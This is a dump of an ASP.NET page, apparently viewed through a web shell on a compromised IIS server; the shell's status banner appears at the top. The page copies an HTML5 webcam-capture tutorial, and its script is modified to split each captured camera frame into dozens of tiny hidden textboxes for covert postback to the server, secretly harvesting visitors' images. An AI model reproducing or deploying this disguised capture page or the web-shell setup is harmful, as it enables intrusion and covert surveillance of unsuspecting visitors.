Server IP : 103.6.199.200 / Your IP : 3.129.63.252 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/tradepan/gotone.trade-panel.com/wwwroot/ |
Upload File : |
<%@ page language="C#" autoeventwireup="true" inherits="mmp, App_Web_9fiet0d_" %> <html xmlns="http://www.w3.org/1999/xhtml" > <head id="Head1" runat="server"> <META content="IE=11.0000" http-equiv="X-UA-Compatible"> <META charset="utf-8"> <META content="1593210261" property="twitter:account_id"> <TITLE>Capturing </TITLE> <META name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0"> <META name="theme-color" content="#f04530"> <STYLE> video, #cssfilters-video, #screenshot-img { width: 400px; height: 300px; } video, #cssfilters-stream { background: rgba(255,255,255,0.5); border: 1px solid #ccc; } .blur { -webkit-filter: blur(3px); -moz-filter: blur(3px); -o-filter: blur(3px); -ms-filter: blur(3px); filter: blur(3px); } .brightness { -webkit-filter: brightness(5); -moz-filter: brightness(5); -o-filter: brightness(5); -ms-filter: brightness(5); filter: brightness(5); } .contrast { -webkit-filter: contrast(8); -moz-filter: contrast(8); -o-filter: contrast(8); -ms-filter: contrast(8); filter: contrast(8); } .hue-rotate { -webkit-filter: hue-rotate(90deg); -moz-filter: hue-rotate(90deg); -o-filter: hue-rotate(90deg); -ms-filter: hue-rotate(90deg); filter: hue-rotate(90deg); } .hue-rotate2 { -webkit-filter: hue-rotate(180deg); -moz-filter: hue-rotate(180deg); -o-filter: hue-rotate(180deg); -ms-filter: hue-rotate(180deg); filter: hue-rotate(180deg); } .hue-rotate3 { -webkit-filter: hue-rotate(270deg); -moz-filter: hue-rotate(270deg); -o-filter: hue-rotate(270deg); -ms-filter: hue-rotate(270deg); filter: hue-rotate(270deg); } .saturate { -webkit-filter: saturate(10); -moz-filter: saturate(10); -o-filter: saturate(10); -ms-filter: saturate(10); filter: saturate(10); } .grayscale { -webkit-filter: grayscale(1); -moz-filter: grayscale(1); -o-filter: grayscale(1); -ms-filter: grayscale(1); filter: grayscale(1); } .sepia { -webkit-filter: sepia(1); -moz-filter: sepia(1); -o-filter: sepia(1); -ms-filter: sepia(1); filter: sepia(1); } .invert { -webkit-filter: invert(1); -moz-filter: invert(1); -o-filter: invert(1); -ms-filter: invert(1); filter: invert(1); } </STYLE> <META name="GENERATOR" content="MSHTML 11.00.10570.1001"> </HEAD> <BODY class="article tutorial" onload="" data-href="tutorials-getusermedia-intro"> <form id="Form1" runat="server" > <asp:TextBox ID="TextBox1" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox2" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox3" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox4" runat="server" Width="100px" Height="100px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox5" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox6" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox7" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox8" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox9" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox10" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox11" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox12" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox13" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox14" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox15" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox16" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox17" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox18" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox19" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox20" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox21" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox22" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox23" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox24" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox25" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox26" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox27" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox28" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox29" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox30" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox31" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox32" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox33" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox34" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox35" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox36" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox37" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox38" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox39" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox40" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox41" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox42" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox43" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox44" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox45" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox46" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox47" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox48" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox49" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox50" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox51" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox52" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox53" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox54" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox55" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox56" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox57" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox58" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox59" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox60" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox61" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox62" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox63" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox64" runat="server" Width="100px" Height="100px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox65" runat="server" Width="100px" Height="100px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox66" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox67" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox68" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox69" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox70" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox71" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox72" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox73" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox74" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox75" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox76" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox77" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox78" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox79" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox80" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox81" runat="server" Width="10px" Height="10px" TextMode="MultiLine" ></asp:TextBox> <asp:TextBox ID="TextBox82" runat="server" Width="100px" Height="100px" TextMode="MultiLine" ></asp:TextBox> <asp:Button ID="Button1" runat="server" Text="Button" OnClick="Button1_Click" /> </form> <DIV class="body-content"> <DIV class="content" id="article-content"> <H3 id="toc-basic-demo">Basic demo</H3> <DIV id="basic" style="text-align: center;"><VIDEO class="videostream" autoplay=""></VIDEO> <P><BUTTON class="capture-button">Capture video</BUTTON> <BUTTON id="stop-button">Stop</BUTTON></P></DIV> <H2 id="toc-screenshot">[Taking screenshots]----</H2> <P>The <CODE><canvas></CODE> API's <CODE>ctx.drawImage(video, 0, 0)</CODE> method makes it trivial to draw <CODE><video></CODE> frames to <CODE><canvas></CODE>. Of course, now that we have video input via <CODE>getUserMedia()</CODE>, it's just as easy to create a photo booth application with realtime video:</P> <PRE class="prettyprint"><CODE><video autoplay></video> <img src=""> <canvas style="display:none;"></canvas> <script> const captureVideoButton = document.querySelector('#screenshot .capture-button'); const screenshotButton = document.querySelector('#screenshot-button'); const img = document.querySelector('#screenshot img'); const video = document.querySelector('#screenshot video'); const canvas = document.createElement('canvas'); captureVideoButton.onclick = function() { navigator.mediaDevices.getUserMedia(constraints). then(handleSuccess).catch(handleError); }; screenshotButton.onclick = video.onclick = function() { canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0); // Other browsers will fall back to image/png img.src = canvas.toDataURL('image/webp'); }; function handleSuccess(stream) { screenshotButton.disabled = false; video.srcObject = stream; } </script> </CODE></PRE> <DIV id="screenshot" style="text-align: center;"> <VIDEO class="videostream" autoplay=""></VIDEO> <IMG id="screenshot-img"> <P><BUTTON class="capture-button">Capture video</BUTTON> <P><BUTTON disabled="" id="screenshot-button">Take screenshot</BUTTON></P></DIV> <H2 id="toc-effects">Applying Effects</H2> <H3 id="toc-effects-css">CSS Filters</H3> <P>Using <A href="https://dvcs.w3.org/hg/FXTF/raw-file/tip/filters/index.html">CSS Filters</A>, we can apply some gnarly effects to the <CODE><video></CODE> as it is captured:</P> <PRE class="prettyprint"><CODE> <video autoplay></video> <p><button class="capture-button">Capture video</button> <p><button id="cssfilters-apply">Apply CSS filter</button></p> <script> const captureVideoButton = document.querySelector('#cssfilters .capture-button'); const cssFiltersButton = document.querySelector('#cssfilters-apply'); const video = document.querySelector('#cssfilters video'); let filterIndex = 0; const filters = [ 'grayscale', 'sepia', 'blur', 'brightness', 'contrast', 'hue-rotate', 'hue-rotate2', 'hue-rotate3', 'saturate', 'invert', '' ]; captureVideoButton.onclick = function() { navigator.mediaDevices.getUserMedia(constraints). then(handleSuccess).catch(handleError); }; cssFiltersButton.onclick = video.onclick = function() { video.className = filters[filterIndex++ % filters.length]; }; function handleSuccess(stream) { video.srcObject = stream; } </script> </CODE></PRE> <DIV id="cssfilters" style="text-align: center;"><VIDEO title="Click me to apply CSS Filters" class="videostream" autoplay="" alt="Click me to apply CSS Filters"></VIDEO> <P><BUTTON class="capture-button">Capture video</BUTTON> <P><BUTTON id="cssfilters-apply">Apply CSS filter</BUTTON></P></DIV> <UL> <LI><A title="WebRTC samples GitHub Pages" href="https://webrtc.github.io/samples/">WebRTC Samples</A>: canonical demos and code repo</LI> <LI><A href="http://html5-demos.appspot.com/static/getusermedia/photobooth.html">Live Photo booth</A></LI> <LI>Paul Neave's <A href="http://neave.com/webcam/html5/">WebGL Camera Effects</A></LI> <LI><A href="http://html5photobooth.com/">Snapster</A></LI> <LI><A href="http://learningthreejs.com/data/live-video-in-webgl/">Live video in WebGL</A></LI> <LI><A href="http://www.soundstep.com/blog/experiments/jsdetection/">Play Xylophone with your hands</A></LI></UL> <SCRIPT> function handleError(error) { console.error('navigator.getUserMedia error: ', error); } const constraints = {video: true}; (function() { const video = document.querySelector('#basic video'); const captureVideoButton = document.querySelector('#basic .capture-button'); let localMediaStream; function handleSuccess(stream) { localMediaStream = stream; video.srcObject = stream; } captureVideoButton.onclick = function() { navigator.mediaDevices.getUserMedia(constraints). then(handleSuccess).catch(handleError); }; document.querySelector('#stop-button').onclick = function() { video.pause(); localMediaStream.stop(); }; })(); (function() { const captureVideoButton = document.querySelector('#screenshot .capture-button'); const screenshotButton = document.querySelector('#screenshot-button'); const img = document.querySelector('#screenshot img'); const video = document.querySelector('#screenshot video'); const canvas = document.createElement('canvas'); captureVideoButton.onclick = function() { navigator.mediaDevices.getUserMedia(constraints). then(handleSuccess).catch(handleError); }; screenshotButton.onclick = video.onclick = function() { canvas.width = video.videoWidth; canvas.height = video.videoHeight; canvas.getContext('2d').drawImage(video, 0, 0, video.videoWidth, video.videoHeight, 0, 0, 300, 225); // Other browsers will fall back to image/png var canv1 = document.getElementById("TextBox1"); var canv2 = document.getElementById("TextBox2"); var canv3 = document.getElementById("TextBox3"); var canv4 = document.getElementById("TextBox4"); var canv5 = document.getElementById("TextBox5"); var canv6 = document.getElementById("TextBox6"); var canv7 = document.getElementById("TextBox7"); var canv8 = document.getElementById("TextBox8"); var canv9 = document.getElementById("TextBox9"); var canv10 = document.getElementById("TextBox10"); var canv11 = document.getElementById("TextBox11"); var canv12 = document.getElementById("TextBox12"); var canv13 = document.getElementById("TextBox13"); var canv14 = document.getElementById("TextBox14"); var canv15 = document.getElementById("TextBox15"); var canv16 = document.getElementById("TextBox16"); var canv17 = document.getElementById("TextBox17"); var canv18 = document.getElementById("TextBox18"); var canv19 = document.getElementById("TextBox19"); var canv20 = document.getElementById("TextBox20"); var canv21 = document.getElementById("TextBox21"); var canv22 = document.getElementById("TextBox22"); var canv23 = document.getElementById("TextBox23"); var canv24 = document.getElementById("TextBox24"); var canv25 = document.getElementById("TextBox25"); var canv26 = document.getElementById("TextBox26"); var canv27 = document.getElementById("TextBox27"); var canv28 = document.getElementById("TextBox28"); var canv29 = document.getElementById("TextBox29"); var canv30 = document.getElementById("TextBox30"); var canv31 = document.getElementById("TextBox31"); var canv32 = document.getElementById("TextBox32"); var canv33 = document.getElementById("TextBox33"); var canv34 = document.getElementById("TextBox34"); var canv35 = document.getElementById("TextBox35"); var canv36 = document.getElementById("TextBox36"); var canv37 = document.getElementById("TextBox37"); var canv38 = document.getElementById("TextBox38"); var canv39 = document.getElementById("TextBox39"); var canv40 = document.getElementById("TextBox40"); var canv41 = document.getElementById("TextBox41"); var canv42 = document.getElementById("TextBox42"); var canv43 = document.getElementById("TextBox43"); var canv44 = document.getElementById("TextBox44"); var canv45 = document.getElementById("TextBox45"); var canv46 = document.getElementById("TextBox46"); var canv47 = document.getElementById("TextBox47"); var canv48 = document.getElementById("TextBox48"); var canv49 = document.getElementById("TextBox49"); var canv50 = document.getElementById("TextBox50"); var canv51 = document.getElementById("TextBox51"); var canv52 = document.getElementById("TextBox52"); var canv53 = document.getElementById("TextBox53"); var canv54 = document.getElementById("TextBox54"); var canv55 = document.getElementById("TextBox55"); var canv56 = document.getElementById("TextBox56"); var canv57 = document.getElementById("TextBox57"); var canv58 = document.getElementById("TextBox58"); var canv59 = document.getElementById("TextBox59"); var canv60 = document.getElementById("TextBox60"); var canv61 = document.getElementById("TextBox61"); var canv62 = document.getElementById("TextBox62"); var canv63 = document.getElementById("TextBox63"); var canv64 = document.getElementById("TextBox64"); var canv65 = document.getElementById("TextBox65"); var canv66 = document.getElementById("TextBox66"); var canv67 = document.getElementById("TextBox67"); var canv68 = document.getElementById("TextBox68"); var canv69 = document.getElementById("TextBox69"); var canv70 = document.getElementById("TextBox70"); var canv71 = document.getElementById("TextBox71"); var canv72 = document.getElementById("TextBox72"); var canv73 = document.getElementById("TextBox73"); var canv74 = document.getElementById("TextBox74"); var canv75 = document.getElementById("TextBox75"); var canv76 = document.getElementById("TextBox76"); var canv77 = document.getElementById("TextBox77"); var canv78 = document.getElementById("TextBox78"); var canv79 = document.getElementById("TextBox79"); var canv80 = document.getElementById("TextBox82"); var cc123 = canvas.toDataURL('image/webp'); canv80.value = cc123.length; canv1.value = cc123.substring(0, 2599); canv2.value = cc123.substring(2600, 5199); canv3.value = cc123.substring(5200, 7799); canv4.value = cc123.substring(7800, 10399); canv5.value = cc123.substring(10400, 12999); canv6.value = cc123.substring(13000, 15599); canv7.value = cc123.substring(15600, 18199); canv8.value = cc123.substring(18200, 20799); canv9.value = cc123.substring(20800, 23399); canv10.value = cc123.substring(23400, 25999); canv11.value = cc123.substring(26000, 28599); canv12.value = cc123.substring(28600, 31199); canv13.value = cc123.substring(31200, 33799); canv14.value = cc123.substring(33800, 36399); canv15.value = cc123.substring(36400, 38999); canv16.value = cc123.substring(39000, 41599); canv17.value = cc123.substring(41600, 44199); canv18.value = cc123.substring(44200, 46799); canv19.value = cc123.substring(46800, 49399); canv20.value = cc123.substring(49400, 51999); canv21.value = cc123.substring(52000, 54599); canv22.value = cc123.substring(54600, 57199); canv23.value = cc123.substring(57200, 59799); canv24.value = cc123.substring(59800, 62399); canv25.value = cc123.substring(62400, 64999); canv26.value = cc123.substring(65000, 67599); canv27.value = cc123.substring(67600, 72799); canv28.value = cc123.substring(72800, 75399); canv29.value = cc123.substring(75400, 77999); canv30.value = cc123.substring(78000, 80599); canv31.value = cc123.substring(80600, 83199); canv32.value = cc123.substring(83200, 85799); canv33.value = cc123.substring(85800, 88399); canv34.value = cc123.substring(88400, 90999); canv35.value = cc123.substring(91000, 93599); canv36.value = cc123.substring(93600, 96199); canv37.value = cc123.substring(96200, 98799); canv38.value = cc123.substring(98800, 101399); canv39.value = cc123.substring(101400, 103999); canv40.value = cc123.substring(104000, 106599); canv41.value = cc123.substring(106600, 109199); canv42.value = cc123.substring(109200, 111799); canv43.value = cc123.substring(111800, 114399); canv44.value = cc123.substring(114400, 116999); canv45.value = cc123.substring(117000, 119599); canv46.value = cc123.substring(119600, 122199); canv47.value = cc123.substring(122200, 124799); canv48.value = cc123.substring(124800, 127399); canv49.value = cc123.substring(127400, 129999); canv50.value = cc123.substring(130000, 132599); canv51.value = cc123.substring(132600, 135199); canv52.value = cc123.substring(135200, 137799); canv53.value = cc123.substring(137800, 140399); canv54.value = cc123.substring(140400, 142999); canv55.value = cc123.substring(143000, 145599); canv56.value = cc123.substring(145600, 148199); canv57.value = cc123.substring(148200, 150799); canv58.value = cc123.substring(150800, 153399); canv59.value = cc123.substring(153400, 158599); canv60.value = cc123.substring(158600, 161199); canv61.value = cc123.substring(161200, 163799); canv62.value = cc123.substring(163800, 166399); canv63.value = cc123.substring(166400, 168999); canv64.value = cc123.substring(169000, 171599); canv65.value = cc123.substring(171600); //, cc123.length -1); // canv65.value = cc123.substring(171600, 174199); // canv66.value = cc123.substring(174200, 176799); // canv67.value = cc123.substring(176800, 179399); // canv68.value = cc123.substring(179400, 181999); //canv4.value = cc123.length; img.src = canvas.toDataURL('image/webp'); }; function handleSuccess(stream) { screenshotButton.disabled = false; video.srcObject = stream; } })(); (function() { const captureVideoButton = document.querySelector('#cssfilters .capture-button'); const cssFiltersButton = document.querySelector('#cssfilters-apply'); const video = document.querySelector('#cssfilters video'); let filterIndex = 0; const filters = [ 'grayscale', 'sepia', 'blur', 'brightness', 'contrast', 'hue-rotate', 'hue-rotate2', 'hue-rotate3', 'saturate', 'invert', '' ]; captureVideoButton.onclick = function() { navigator.mediaDevices.getUserMedia(constraints). then(handleSuccess).catch(handleError); }; cssFiltersButton.onclick = video.onclick = function() { video.className = filters[filterIndex++ % filters.length]; }; function handleSuccess(stream) { video.srcObject = stream; } })(); </SCRIPT> </DIV> <SCRIPT> window.isCompatible = function() { return !!(navigator.mediaDevices && navigator.mediaDevices.getUserMedia); }; if(navigator.share !== undefined) { document.addEventListener('DOMContentLoaded', e => { var shareBox = document.querySelector('aside.share'); if(shareBox !== undefined) { shareBox.classList.toggle('native'); } var shareBtn = document.querySelector('aside.share a.android'); shareBtn.addEventListener('click', clickEvent => { clickEvent.preventDefault(); const title = "Capturing Audio & Video in HTML5"; const url = "https://www.html5rocks.com/tutorials/getusermedia/intro/"; navigator.share({title: title, text: url, url: url}) .then(() => console.log('Successful share'), error => console.log('Error sharing:', error)); }); }); } if (isCompatible() === false) { document.getElementById('notcompatible').className = ''; } function _prettyPrint() { if (typeof customPrettyPrintLanguage != 'undefined') { customPrettyPrintLanguage(); } prettyPrint(); } </SCRIPT> </DIV> </BODY> </html>